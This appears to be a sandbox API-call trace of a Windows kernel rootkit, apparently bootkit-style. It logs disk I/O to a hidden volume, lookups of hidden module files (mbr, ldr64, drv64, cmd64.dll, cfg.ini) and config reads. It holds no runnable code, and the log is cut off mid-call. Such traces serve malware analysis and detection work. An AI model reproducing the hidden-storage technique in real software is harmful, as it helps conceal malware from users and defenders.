IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.998] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.998] IdePortDispatch () returned 0x103 [0124.998] KeWaitForMutexObject () returned 0x0 [0124.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.998] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.998] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.998] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.998] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.998] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0124.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.998] KeLeaveCriticalRegion () [0124.998] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.998] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.998] KeEnterCriticalRegion () [0124.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.998] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.998] KeLeaveCriticalRegion () [0124.998] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.998] KeEnterCriticalRegion () [0124.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.998] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.998] IdePortDispatch () returned 0x103 [0124.998] KeWaitForMutexObject () returned 0x0 [0124.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.999] KeLeaveCriticalRegion () [0124.999] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.999] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.999] KeEnterCriticalRegion () [0124.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.999] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b08000 [0124.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.999] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.999] IdePortDispatch () returned 0x103 [0124.999] KeWaitForMutexObject () returned 0x0 [0124.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.999] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.999] IdePortDispatch () returned 0x103 [0124.999] KeWaitForMutexObject () returned 0x0 [0124.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.999] KeLeaveCriticalRegion () [0124.999] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.000] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.000] KeEnterCriticalRegion () [0125.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.000] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.000] KeLeaveCriticalRegion () [0125.000] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.000] KeEnterCriticalRegion () [0125.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.000] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.000] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4600, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.000] KeLeaveCriticalRegion () [0125.000] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.000] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.000] KeEnterCriticalRegion () [0125.000] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.000] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0125.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.000] KeLeaveCriticalRegion () [0125.000] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.000] ReleaseMutex (hMutex=0xf0) returned 1 [0125.000] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.000] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.000] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.000] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.001] KeEnterCriticalRegion () [0125.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.001] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.001] IdePortDispatch () returned 0x103 [0125.001] KeWaitForMutexObject () returned 0x0 [0125.001] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.001] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.001] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.001] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.001] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.001] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.001] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.001] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.001] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.001] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.001] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.001] KeLeaveCriticalRegion () [0125.001] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.001] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.001] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.001] KeEnterCriticalRegion () [0125.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.001] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.001] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.001] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.001] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.001] IdePortDispatch () returned 0x103 [0125.001] KeWaitForMutexObject () returned 0x0 [0125.002] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.002] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.002] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.002] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.002] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.002] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.002] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.002] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.002] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.002] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.002] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.002] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.002] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.002] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.002] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.002] KeLeaveCriticalRegion () [0125.002] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.002] ReleaseMutex (hMutex=0x100) returned 1 [0125.002] Sleep (dwMilliseconds=0x2bf20) [0125.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6db401b0, dwHighDateTime=0x1d24fa4)) [0125.008] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.008] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.008] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.008] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.008] KeEnterCriticalRegion () [0125.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.008] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.008] IdePortDispatch () returned 0x103 [0125.009] KeWaitForMutexObject () returned 0x0 [0125.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9110 [0125.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.009] KeLeaveCriticalRegion () [0125.009] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.009] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.009] KeEnterCriticalRegion () [0125.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.009] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.009] KeLeaveCriticalRegion () [0125.009] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.009] KeEnterCriticalRegion () [0125.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.009] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.009] IdePortDispatch () returned 0x103 [0125.009] KeWaitForMutexObject () returned 0x0 [0125.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.009] KeLeaveCriticalRegion () [0125.009] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.010] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.010] KeEnterCriticalRegion () [0125.010] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0b000 [0125.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.010] IdePortDispatch () returned 0x103 [0125.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.010] IdePortDispatch () returned 0x103 [0125.010] KeWaitForMutexObject () returned 0x0 [0125.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.010] KeLeaveCriticalRegion () [0125.010] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.011] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.011] KeEnterCriticalRegion () [0125.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.011] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.011] KeLeaveCriticalRegion () [0125.011] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.011] KeEnterCriticalRegion () [0125.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.011] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.011] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4600, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.011] KeLeaveCriticalRegion () [0125.011] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.011] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.011] KeEnterCriticalRegion () [0125.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.011] ExFreePoolWithTag (P=0xfffffa8003be9110, Tag=0x0) [0125.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.011] KeLeaveCriticalRegion () [0125.011] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.011] ReleaseMutex (hMutex=0xf0) returned 1 [0125.011] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.011] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.011] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.011] KeEnterCriticalRegion () [0125.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.011] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.011] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.011] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.011] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.011] IdePortDispatch () returned 0x103 [0125.011] KeWaitForMutexObject () returned 0x0 [0125.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.012] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.012] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.012] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.012] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.012] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3da0 [0125.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.012] KeLeaveCriticalRegion () [0125.012] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.012] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.012] KeEnterCriticalRegion () [0125.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.012] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.012] KeLeaveCriticalRegion () [0125.012] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.012] KeEnterCriticalRegion () [0125.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.012] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.012] IdePortDispatch () returned 0x103 [0125.012] KeWaitForMutexObject () returned 0x0 [0125.012] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.012] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.012] KeLeaveCriticalRegion () [0125.012] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.012] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.012] KeEnterCriticalRegion () [0125.012] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0c000 [0125.012] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.012] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.012] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.013] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.013] IdePortDispatch () returned 0x103 [0125.013] KeWaitForMutexObject () returned 0x0 [0125.013] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.013] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.013] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.013] MmProbeAndLockPages (in: 